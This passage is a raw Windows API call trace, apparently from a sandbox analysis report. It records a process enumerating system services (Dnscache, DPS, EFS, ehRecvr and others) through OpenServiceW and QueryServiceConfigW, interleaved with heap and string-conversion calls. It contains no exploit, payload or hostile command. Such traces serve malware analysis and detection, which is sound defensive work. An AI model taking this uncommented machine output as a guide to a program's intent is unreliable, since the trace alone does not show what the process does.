(HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502f10 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502f98 [0027.933] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502f10) returned 1 [0027.933] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502f98) returned 1 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502f98 [0027.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d98 [0027.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509d98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d50 [0027.933] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d98) returned 1 [0027.933] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d50) returned 1 [0027.933] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502f98) returned 1 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d50 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502f98 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502f10 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503020 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5030a8 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503130 [0027.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d98 [0027.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x509d98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509de0 [0027.934] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d98) returned 1 [0027.934] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509de0) returned 1 [0027.934] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503130) returned 1 [0027.934] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Dnscache", dwDesiredAccess=0x1) returned 0x6638c8 [0027.934] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.934] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.934] GetLastError () returned 0x7a [0027.934] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x130, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.934] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503130 [0027.934] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5031b8 [0027.934] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503130) returned 1 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5031b8) returned 1 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5031b8 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503130 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5031b8) returned 1 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503130) returned 1 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503130 [0027.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509de0 [0027.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509de0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d98 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509de0) returned 1 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d98) returned 1 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503130) returned 1 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d98 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503130 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5031b8 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503240 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5032c8 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503350 [0027.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509de0 [0027.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x509de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0027.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509e28 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509de0) returned 1 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e28) returned 1 [0027.935] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503350) returned 1 [0027.935] OpenServiceW (hSCManager=0x6637d8, lpServiceName="dot3svc", dwDesiredAccess=0x1) returned 0x6639b8 [0027.936] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.936] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.936] GetLastError () returned 0x7a [0027.936] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x154, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.936] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503350 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5033d8 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503350) returned 1 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5033d8) returned 1 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5033d8 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503350 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5033d8) returned 1 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503350) returned 1 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503350 [0027.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509e28 [0027.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509e28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509de0 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e28) returned 1 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509de0) returned 1 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503350) returned 1 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509de0 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503350 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5033d8 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503460 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5034e8 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503570 [0027.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509e28 [0027.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x509e28, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0027.937] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c3e0 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e28) returned 1 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c3e0) returned 1 [0027.937] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503570) returned 1 [0027.937] OpenServiceW (hSCManager=0x6637d8, lpServiceName="DPS", dwDesiredAccess=0x1) returned 0x6638a0 [0027.938] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.938] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.938] GetLastError () returned 0x7a [0027.938] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x144, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.938] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503570 [0027.938] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5035f8 [0027.938] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503570) returned 1 [0027.938] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5035f8) returned 1 [0027.938] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5035f8 [0027.938] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503570 [0027.938] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5035f8) returned 1 [0027.938] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503570) returned 1 [0027.938] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503570 [0027.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509e28 [0027.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509e28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c3e0 [0027.939] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509e28) returned 1 [0027.939] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c3e0) returned 1 [0027.939] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503570) returned 1 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509e28 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503570 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5035f8 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503680 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503708 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503790 [0027.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c3e0 [0027.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x54c3e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0027.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c428 [0027.939] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c3e0) returned 1 [0027.939] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c428) returned 1 [0027.939] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503790) returned 1 [0027.939] OpenServiceW (hSCManager=0x6637d8, lpServiceName="EapHost", dwDesiredAccess=0x1) returned 0x663968 [0027.939] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.939] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.940] GetLastError () returned 0x7a [0027.940] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x136, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503790 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503818 [0027.940] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503790) returned 1 [0027.940] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503818) returned 1 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503818 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503790 [0027.940] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503818) returned 1 [0027.940] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503790) returned 1 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503790 [0027.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c3e0 [0027.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c3e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c428 [0027.940] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c3e0) returned 1 [0027.940] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c428) returned 1 [0027.940] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503790) returned 1 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c3e0 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503790 [0027.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503818 [0027.941] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5038a0 [0027.941] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503928 [0027.941] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5039b0 [0027.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.941] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c428 [0027.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x54c428, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0027.941] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c470 [0027.941] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c428) returned 1 [0027.941] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c470) returned 1 [0027.941] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5039b0) returned 1 [0027.941] OpenServiceW (hSCManager=0x6637d8, lpServiceName="EFS", dwDesiredAccess=0x1) returned 0x6638c8 [0027.941] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.941] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.941] GetLastError () returned 0x7a [0027.941] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x102, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5039b0 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503a38 [0027.942] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5039b0) returned 1 [0027.942] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503a38) returned 1 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503a38 [0027.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c470 [0027.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x54c470, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c428 [0027.942] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c470) returned 1 [0027.942] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c428) returned 1 [0027.942] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503a38) returned 1 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c428 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503a38 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5039b0 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503ac0 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503b48 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503bd0 [0027.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c470 [0027.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x54c470, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0027.942] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c4b8 [0027.942] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c470) returned 1 [0027.942] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c4b8) returned 1 [0027.942] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503bd0) returned 1 [0027.942] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ehRecvr", dwDesiredAccess=0x1) returned 0x6639b8 [0027.943] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.943] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.943] GetLastError () returned 0x7a [0027.943] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x132, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.943] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503bd0 [0027.943] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503c58 [0027.943] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503bd0) returned 1 [0027.943] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503c58) returned 1 [0027.943] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503c58 [0027.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.943] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c4b8 [0027.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x54c4b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr.exe", lpUsedDefaultChar=0x0) returned 11 [0027.943] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c470 [0027.944] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c4b8) returned 1 [0027.944] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c470) returned 1 [0027.944] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503c58) returned 1 [0027.944] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c470 [0027.944] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503c58 [0027.944] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503bd0 [0027.944] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503ce0 [0027.944] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503d68 [0027.944] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503df0 [0027.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.944] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c4b8 